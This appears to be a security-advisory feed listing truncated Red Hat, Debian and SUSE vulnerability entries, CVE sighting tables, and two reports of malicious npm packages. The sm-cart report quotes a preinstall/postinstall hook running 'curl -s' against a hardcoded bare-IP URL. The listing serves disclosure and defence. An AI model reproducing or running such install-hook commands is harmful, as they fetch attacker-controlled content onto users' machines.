RHEL 8 : firefox (RHSA-2026:58898)

The remote Redhat Enterprise Linux 8 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2026:58898 advisory. Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. Security Fixes: firefox:...

RHEL 9 : python-urwid (RHSA-2026:58952)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58952 advisory. Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic da...

RHEL 9 : assertj-core (RHSA-2026:58949)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58949 advisory. A rich and intuitive set of strongly-typed assertions to use for unit testing either with JUnit or TestNG. Security Fixes: assertj: AssertJ:...

CVE-2026-56136

In NTFS-3G through 2026.2.25, an out-of-bounds read exists in ntfsirnill in libntfs-3g/index.c that allows an attacker to read possibly confidential information in an ntfs-3g process by crafting a malicious NTFS image. This read operation is triggered by creation of a file with a crafted name...

Important: python-urwid security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. Security Fixes:...

CVE-2026-17101

creationtimestamp| type| source ---|---|--- 2026-08-23 20:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtrloyqhvb2x...

Malicious code in sm-checkout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...

MAL-2026-14396 Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

[SECURITY] [DSA 6461-1] thunderbird security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6461-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

[SECURITY] [DSA 6460-1] openjdk-25 security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6460-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

CVE-2026-5388

creationtimestamp| type| source ---|---|--- 2026-08-23 14:30:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mtqyucsev325 2026-08-23 15:01:28+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mtr2mhxlsl27 2026-08-23 15:32:16+00:00| seen|...

CVE-2023-51628

creationtimestamp| type| source ---|---|--- 2026-08-23 11:00:03+00:00| seen| https://t.me/manszyxalladmin/3699 2026-08-23 11:00:03+00:00| seen| https://t.me/manszyxalladmin/3706 2026-08-24 00:00:07+00:00| seen| https://t.me/manszyxalladmin/3706 2026-08-24 00:00:07+00:00| seen|...

ROOT-OS-DEBIAN-11-CVE-2022-50224 CVE-2022-50224 in linux - Patched by Root

Root has patched CVE-2022-50224 in the linux package for Root:Debian:11. Multiple fixed versions available...

CVE-2026-77116

creationtimestamp| type| source ---|---|--- 2026-08-23 08:17:27+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/ccdo5swnhr232...

CVE-2026-18294

creationtimestamp| type| source ---|---|--- 2026-08-23 04:17:24+00:00| seen| https://bsky.app/profile/vulnsea.com/post/3mtpwmrvjzb2y 2026-08-24 13:07:56+00:00| seen| https://bsky.app/profile/deafnews-auto.bsky.social/post/3mtteqe7pjv2s...

CVE-2026-16149

creationtimestamp| type| source ---|---|--- 2026-08-23 00:24:22+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/i2gzzmx55e4jk 2026-08-23 01:00:46+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mtpln6adlw2m 2026-08-23 12:00:25+00:00| seen|...

CVE-2026-54795

creationtimestamp| type| source ---|---|--- 2026-08-23 00:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtpin7s7jd2x...

SUSE CVE-2026-74598

In the Linux kernel, the following vulnerability has been resolved: ipv6: fix Route Information option length validation rt6routercv validates the Route Information option RFC 4191 length against the prefix length, but both checks are off by one. rinfo-length is the ND option length in units of 8...

SUSE CVE-2026-74659

In the Linux kernel, the following vulnerability has been resolved: net: bridge: mrp: fix uninitialised bytes on the wire brmrpalloctestskb builds MRP test frames on an skb from devallocskb, which does not clear the linear data area. On the MRA ring-role branch the sub-option TLV header is append...

SUSE CVE-2026-74673

In the Linux kernel, the following vulnerability has been resolved: Input: evdev - fix information leak in evdevpassvalues In evdevpassvalues, the inputevent structure is allocated on the kernel stack and populated field-by-field. However, it is never fully initialized. On architectures where...